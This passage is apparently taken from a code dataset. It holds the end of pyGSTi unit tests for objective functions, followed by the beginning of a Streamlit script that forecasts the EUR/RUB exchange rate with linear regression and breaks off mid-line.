def setUp(self):\n super().setUp()\n self.model.sim = pygsti.forwardsims.MapForwardSimulator(model=self.model, max_cache_size=0)\n self.objfns = self.build_objfns()\n\n def test_lsvec(self):\n for objfn in self.objfns:\n lsvec = objfn.lsvec()\n #TODO: add validation\n\n def test_dlsvec(self):\n for objfn in self.objfns:\n dlsvec = objfn.dlsvec()\n #TODO: add validation\n\n\nclass TimeDependentChi2FunctionTester(TimeDependentMDSObjectiveFunctionTesterBase, BaseCase):\n \"\"\"\n Tests for methods in the TimeDependentChi2Function class.\n \"\"\"\n\n def build_objfns(self):\n return [_objfns.TimeDependentChi2Function.create_from(self.model, self.dataset, self.circuits, method_names=('lsvec', 'dlsvec'))]\n\n\nclass TimeDependentPoissonPicLogLFunctionTester(TimeDependentMDSObjectiveFunctionTesterBase, BaseCase):\n \"\"\"\n Tests for methods in the TimeDependentPoissonPicLogLFunction class.\n \"\"\"\n\n def build_objfns(self):\n return [_objfns.TimeDependentPoissonPicLogLFunction.create_from(self.model, self.dataset, self.circuits, method_names=('lsvec', 'dlsvec'))]\n\n\nclass LogLWildcardFunctionTester(ObjectiveFunctionData, BaseCase):\n \"\"\"\n Tests for methods in the LogLWildcardFunction class.\n \"\"\"\n\n def setUp(self):\n super().setUp()\n logl_fn = _objfns.PoissonPicDeltaLogLFunction.create_from(self.model, self.dataset, self.circuits, method_names=('fn', 'terms', 'lsvec'))\n logl_fn.fn() # evaluate so internals are initialized\n\n wcbudget = _PrimitiveOpsWildcardBudget(self.model.primitive_op_labels)\n self.pt = wcbudget.to_vector().copy()\n self.objfn = _objfns.LogLWildcardFunction(logl_fn, None, wcbudget)\n\n def test_values(self):\n fn = self.objfn.fn(self.pt)\n terms = self.objfn.terms(self.pt)\n lsvec = self.objfn.lsvec(self.pt)\n\n self.assertAlmostEqual(fn, sum(terms))\n self.assertArraysAlmostEqual(terms, lsvec**2)\n #TODO: more validation\n","repo_name":"pyGSTio/pyGSTi","sub_path":"test/unit/objects/test_objectivefns.py","file_name":"test_objectivefns.py","file_ext":"py","file_size_in_byte":19836,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"62"} +{"seq_id":"27209728136","text":"import streamlit as st\nimport os\nimport pandas as pd\nimport datetime\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\n\nts = st.slider('Выберите размер test_size', 0, 0.3)\n\ndate = st.date_input('Выберите день для прогноза курса EUR/RUB:', \n value = [datetime.date(2022, 10, 5), datetime.date(2022, 10, 6)], \n min_value = datetime.date(2022, 10, 5), \n max_value = datetime.date(2022, 10, 6))\ndd = max(date)\nst.write('Прогноз курса отразится по состоянию на:', dd)\n\nif st.button('Показать данные курса валют EUR/RUB'):\n df = pd.read_csv(os.path.join('EUR_RUB__TOM.csv'), sep = ';')\n df.drop(['', '', '